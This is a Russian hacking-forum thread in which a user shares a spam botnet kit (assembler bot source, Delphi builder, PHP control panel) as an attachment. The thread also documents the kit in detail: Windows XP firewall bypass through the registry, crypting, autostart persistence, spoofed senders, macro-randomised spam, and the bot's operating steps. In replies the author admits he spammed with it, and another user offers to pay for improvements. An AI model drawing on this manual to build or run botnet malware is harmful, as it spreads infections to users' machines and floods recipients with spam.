ANTICHAT.RU    VIDEO.ANTICHAT.RU    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  

???????? RU ?????? ? RU ??????? ? ????? ???????. ? ??? ?????? ????!



ViKing – ?????? ????????? ??? ??????? ????????? ????? ?????????!

Вернуться   ????? ??????? > ???????????? ? ?????????? > ?????????
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Спам бот
  #1  
Старый 02.02.2009, 12:03
Аватара для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщения: 1,985
Провел на форуме:
1 месяц 1 неделю 1 день

Репутация: 521 ±



Отправить сообщение для  slesh с помощью ICQ
По умолчанию Спам бот

Еще в прошлом году написал от нех делать спам бота. Бот довольно простой, хреново пашет, в систему ставится по ламерски, но главное отличие его от всех других - размер 5632 байт. Большую ценность он представляет только тем кто пишет на ASMe. Былобы очень хорошо стабильной работы добавить работу с SEH, но както влом

Убедительная прозьба не сливать в паблик!!
В архиве находится сама админка бота, исходники бота FASM и исходники билдера Delphi
Вот краткое описание бота:

(C) SLESH 2008
РАЗМЕР бОТА в чистом виде - 5632 байта при использовании билдера.
Без билдера можно уменьшить еще на 512 байт

Тут вы сможите прочитать:
0) Возможности бота
1) Конфигурация бота
2) конфиг бота через билдер
3) установка админки
4) работа с админкой
5) макросы бота и админки
6) принцип работы бота
---------------------------------
ВОЗМОЖНОСТИ
1) обход встроенного в XP фаера
2) криптовка (если юзать билдер)
3) многопоточная отправка
4) поддержка макросов на уровни админки и бота
5) лог ошибок отправки
6) самоустановка в систему
7) возможность банить блохих ботов
8) небольшое шифрования трафа между ботом и админкой
---------------------------------
Ручная конфигурация исходников:
Файл: bot.asm
WAIT_TIME equ 40 - время в секундах между отстуками
server_port equ 5000h - порт админки, результат работы функции htons(port). В нашем случае это htons(80)

файл: const.inc
server_script db '/msb/task.php?',0,0,0,0,0,0,0,0 - путь к админке
server_host db 'localhost',0,0,0,0,0,0,0,0,0,0,0,0,0 - host админки
my_sys_name db '\proga.exe',0,0,0,0,0,0,0,0,0,0 ; \ обязателен!!!- имя с которым будет прога сидеть в системе
MemFileName db 'test123',0 - юзается для того чтобы предотвратить повторный запуск
--------------------
Настройка админки:
файл config.php
$db_host='localhost'; - хост с бд
$db_port=3306; - порт бд
$db_user='root'; - юзер бд
$db_pass='pass'; - пасс от бд
$db_name='sbot'; - имя базы в бд (нужно создать самому)
$admin_name='slesh'; - имя пользователя для доступа к админке
$admin_pass='123'; - пароль для доступа к админке
$TIME_LIM='00:01:00'; -(часы:минуты:секунды) если время последнего отстука больше данного, то бот считается что ушел в офлайн
$max_thread=1; - кол-во поток для спама. 5 норм
$block='on'; - блокировать дохлых ботов или нет. (настраивается из админки)
----------------------
Установка бота
1. Залить все скрипты и на все скрипты и папки поставить права 666
2. Войти в админку (index.php) и выбрать пункт меню - INSTALL
3. настроить бота на получение заданий. Файл раздачи заданий - task.php
----------------------
Настройка бота через билдер:
1. Host - хост с админкой типа site.com
2. Path - путь к скрипту раздачи заданий типа /folder/task.php?
3. SYSNAME - имя с которым бот установится в систему
4. TIME - время в секундах между отстуками бота на админку
----------------------

--------РАБОТА С АДМИНКОЙ----------
ВКЛАДКИ:
1. BOT
Показывает кол-во онлайн ботов, общее кол-во ботов и ботов которые незабанины админкой
Админка банит ботов в том случае если бот несмог удачно отослать ни одного письма из задания.
По этой причине лучше всего отрубить бан ботов.

Ссылки:
Очистить базу ботов - полностью удаляет всю инфу о ботах
Очистить базу плохих ботов - выводит всех ботов из бана
Запретить блокировку ботов/Разрешить блокировку ботов - банить ботов или нет

2. NEW TASK
Создание нового задания для спама.
Параметры:
- TASK NAME - название задания
- FROM NAME - имя откого будет слаться письмо
- MAILS Per BOT MIN - минимальное кол-во почтовых ящиков которое может быть выдано боту
- MAILS Per BOT MAX - минимальное кол-во почтовых ящиков которое может быть выдано боту
- MAILS LIST - почтовая база для расслыки
- FROM EMAIL - почтовые ящики с которых якобы отослали письмо. Заполнять через ENTER
- Subjects(%SUBJECT) - возможные темы письма.заполняются через ENTER %SUBJECT - макрос для встраивания куда угодно заменяется на тему письма
- LINKS(%ADV_LINK) - аналогичный макрос но для ссылок
Поле справо - непосредственно текст письма который в который можно также добавлять макросы.
- HEADER - заголовки писама. При выборе нескольких - постоянно выбирается рандомом для каждого бота.

3. TASKS
Отображает существующие задания
Значение полей:
ID - просто номер
NAME - имя задания
FromName - от чьего имени шлется
FromMail - от каких адресов
Header - заголовки письма
Body - Текст письма. ПРи нажатии на Edit - появляется окно редектирования текста пьма.
List - база мыл
Send - кол-во мыл розданных ботам в процентах
Bad - кол-во неудачных посылок в процентах. Если кликнуть на нем то можно увидеть полную статистику ошибок с их описанием
Good - кол-во удачных посылок в процентах
Total - кол-во мыл для посылки
Delete - удаление задания
Work - возможность временно поставить задание на паузу.
Del - можно поставить галочку и потом удалить группу заданий
Status - результат выполнения задания. FINISH - это когда все мыла были отправлены ботам.

Кнопка DeleteGroup - групповое удаление заданий. помеченных галочкой.

4. EMAIL
Отображает существующие спам базы + возможность добавления новых.
Загрузка базы:
а) Если база не очень большая то в поле вписывается её имя, выбирается файл и нажимается кнопка "закачать"
б) Если база большая то через фтп можно залить её в папку email, в поставить галочку "Уже загружена" и вписать имя файла

Отображение баз:
ID - просто номер
NAME - название
COUNT - кол-во мыл в базе
ACTION - возможность удаления базы

5. HEADER
Отображение и добавление новых заголовков письма
NAME - имя заголовка
EDIT - открытие окна редактирования
DELETE - удаление заголовка
TEST - проверка макросов встроенных в заголовок и обрабатываемых на стороне админки

Добавление заголовков:
- Ввести имя заголовка и нажать кнопку NEW
- Вписать текст заголовка и сохранить

6. MACROS
Оботражение или создание макросов обрабатываемых на стороне админки.
Макросы - это небольшие подстановки которые динамически заполняются при отдача боту пьсьма
MACROS LIST - список юзерских (добавленных) макросов
NAME - имя макроса
TYPE - тип макроса - статический или динамический
COUNT - кол-во вариантов которые выдает макрос (если он статический)
DELETE - удалить макрос
RELOAD - пока недописано.

Создание нового макроса
- Ввести имя макроса
- выбрать тип
- ввести варианты заполния и нажать на кнопку ADD

Если макрос статический STATIC - то просто из списка рандомом выбираются строки и вставлются на место макроса
Если макрос динамический, то аналогично предыдущему, но каждая строка проверяется на содержание в себе других макросов

Существующие встроенные макросы на стороне адмики. А именно:
%RND_NUMBER - вставляет цифру в диапазоне он 0 до N или от M до N. Пример: %RND_NUMBER[7-10] от 7 до 10 или %RND_NUMBER[7] от 0 до 7
%RND_DIGIT - вставляет блок цифр. Пример: %RND_DIGIT[7-10] от 7 до 10 цифр или %RND_DIGIT[7] от 0 до 7 цифр
%RND_UC_CHAR - аналогично с символами
%RND_LC_CHAR - аналогично с симолами но более расширено
%RND_NUM_CHAR - аналогично но со строкой символов
%FORMAT_DATE - текущая дата
%ADV_LINK - ссылка
%SUBJECT - тема письма
%FROM_NAME - от чего имени шлется
%MESSAGE_BODY - вставляет текст письма. Его присутствие обязательно!!!!!!!!!!!!!!!

P.S. Существуют макросы на стороне бота. Позже опищу
За макросный модуль - спасибо неизвестному человеку!!!!!!!
P.P.S. Все остальны слова в формате - %STRING - процент и больше англ буквы - заменятся на $STRING
это сделано чтобы обработка макросов продолжелась со стороны бота

7. INSTALL
Создает нужные для работы таблицы в БД


--------МАКРОСЫ НА СТОРОНЕ БОТА-------------
$BOUNDARY - в каждом письме генерится заново. заменяется на строку формата --=_NextPart_%03X_%04X_%08X.%08X
$MESSID - %04X_%08X_%08X.%08X%s
$DATA - ddd, d MMM yyyy hh:mm:ss +0300
$TO_EMAIL - мыло которому шлется данное письмо
$FROM_EMAIL - мыло от которого шлется данное письмо
$REALIP - внешний IP бота
$REALHOST - DNS имя компа с ботом

P.S. В теле или заголовке письма можно применять данные макросы. но с символом % а не $
-----------------------------------------------------------------------------
ПРимер письма с использованием макросов
<html><h1>Привет: %TO_EMAIL</h1><a href="%ADV_LINK"> зайди сюда</a>сегодняшняя дата %DATA</html>
<p>а тут у нас подряд идут цифры какогонить ID %RND_NUMBER[7-10]</p>

Пример некоторых заголовком в комплекте.
-----------------------------------------------------------------------------

Информация по принципу работы бота
1) Бот запусшен
2) Бот расшифровывается
3) Бот получает адреса API функций которые он юзает. Метод хешей.
4) Бот проверяет наличие того что он уже запущен. если уже запущен, то вырубается.
5) Устанавливает себя в систему в папку шаблонов и прописывает себя в автозагрузке
6) Выделяет память для своих нужд
7) прописывает себя в реестре для обхода встроенного в XP фаера
8) Стучится на админку.
9) Если получена команда ждать, ждет указанное время.
10) Если получено задание то в патоке парсит задание и запускает указанное кол-во потоко отправки письма.
11) Перед каждой отправкой письма обрабатывает макросы в письме.
12) Отсылает письмо итд пока есть письма в задании
13) Во время выполнения задания переодически с заданным интревалом происходит отстук на админку с результатами отправки

но и всё.
(С) SLESH 2008
Вложения
Тип файла: rar FINAL.RAR (31.0 Кбайт)
__________________
Да, я злой и грубый, а что остается еще делать видя этот кривой код и радостные лица тех, кто его написал.
My Home Page


Последний раз редактировалось slesh, 05.08.2009 в 20:15.
 
Ответить с цитированием

  #2  
Старый 19.09.2009, 17:45
Аватара для qwerra
qwerra
Участник форума
Регистрация: 21.04.2007
Сообщения: 259
Провел на форуме:
3 недели 4 дня

Репутация: 4 ±

По умолчанию

Кто нибудь пробовал******
Отписываемся,плз.
 
Ответить с цитированием

  #3  
Старый 25.09.2009, 00:16
Аватара для Evgen...
Evgen...
Познающий
Регистрация: 08.08.2009
Сообщения: 32
Провел на форуме:
1 неделю

Репутация: 0 ±

Отправить сообщение для  Evgen... с помощью ICQ
По умолчанию

не пашет
 
Ответить с цитированием

  #4  
Старый 25.09.2009, 00:22
Аватара для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщения: 1,985
Провел на форуме:
1 месяц 1 неделю 1 день

Репутация: 521 ±



Отправить сообщение для  slesh с помощью ICQ
По умолчанию

пробовать для нормального спама - это смешно.
Потому что это в первую очередь в образовательных целях выложен бот.
Хотя в своё время спамил с него. херовато но спамил.
Если довести его до ума, то можно и воспользовать им.
__________________
Да, я злой и грубый, а что остается еще делать видя этот кривой код и радостные лица тех, кто его написал.
My Home Page

 
Ответить с цитированием

  #5  
Старый 12.10.2009, 07:05
Аватара для moneyinvestiv
moneyinvestiv
Новичок
Регистрация: 25.08.2008
Сообщения: 17
Провел на форуме:
2 дня 20 часов 14 минут

Репутация: 0 ±

По умолчанию

дак доведи его до ума ещё и заработаешь
 
Ответить с цитированием

  #6  
Старый 12.10.2009, 12:28
Аватара для H1DDEN
H1DDEN
Banned
Регистрация: 25.08.2009
Сообщения: 62
Провел на форуме:
4 дня 11 часов 6 минут

Репутация: 0 ±

Отправить сообщение для  H1DDEN с помощью ICQ
По умолчанию

Цитата:
Сообщение от moneyinvestiv  
дак доведи его до ума ещё и заработаешь

выше об этом уже писал slesh ...
 
Ответить с цитированием

  #7  
Старый 12.10.2009, 15:04
Аватара для moneyinvestiv
moneyinvestiv
Новичок
Регистрация: 25.08.2008
Сообщения: 17
Провел на форуме:
2 дня 20 часов 14 минут

Репутация: 0 ±

По умолчанию

Цитата:
Сообщение от H1DDEN  
выше об этом уже писал slesh ...

где?? процитируй пож , не нахожу ...
 
Ответить с цитированием

  #8  
Старый 12.10.2009, 17:16
Аватара для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщения: 1,985
Провел на форуме:
1 месяц 1 неделю 1 день

Репутация: 521 ±



Отправить сообщение для  slesh с помощью ICQ
По умолчанию

>>> Былобы очень хорошо для стабильной работы добавить работу с SEH, но както влом <<

Алгоритмы установки - это сугубо индивидуальные особенности, как хочеш так и устанавливайся в систему. Тут реализован самый простой способ.

А работа с SEH - для того, чтобы если вдруг чтото не так пойдет и возникнет ошибка, то чтобы она была обработана корректно
__________________
Да, я злой и грубый, а что остается еще делать видя этот кривой код и радостные лица тех, кто его написал.
My Home Page

 
Ответить с цитированием

  #9  
Старый 13.10.2009, 04:39
Аватара для moneyinvestiv
moneyinvestiv
Новичок
Регистрация: 25.08.2008
Сообщения: 17
Провел на форуме:
2 дня 20 часов 14 минут

Репутация: 0 ±

По умолчанию

ага прояснил спасибо
доработать возьмёшься под заказ
 
Ответить с цитированием

  #10  
Старый 13.10.2009, 11:20
Аватара для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщения: 1,985
Провел на форуме:
1 месяц 1 неделю 1 день

Репутация: 521 ±



Отправить сообщение для  slesh с помощью ICQ
По умолчанию

нет. потому что есть другой бот который намного лучше )
__________________
Да, я злой и грубый, а что остается еще делать видя этот кривой код и радостные лица тех, кто его написал.
My Home Page

 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужно взломать бот Olig. Leopold Просьбы о взломах 2 24.01.2009 04:24
Новый бот от Kaleostra rijy ICQ 9 19.04.2007 16:44
Куплю загрузки(микс)!Гружу спам и сокс бот.. NiksoN Трафик, лоады, инсталлы, загрузки - Покупка, продажа 0 10.02.2007 21:59
Настройка бота вида eggdrop MicRO *nix 0 11.12.2006 03:26



Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра


Быстрый переход

plohihzagrusok.net


Powered by: vBulletin Version 3.0.x
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.

ANTICHAT.RU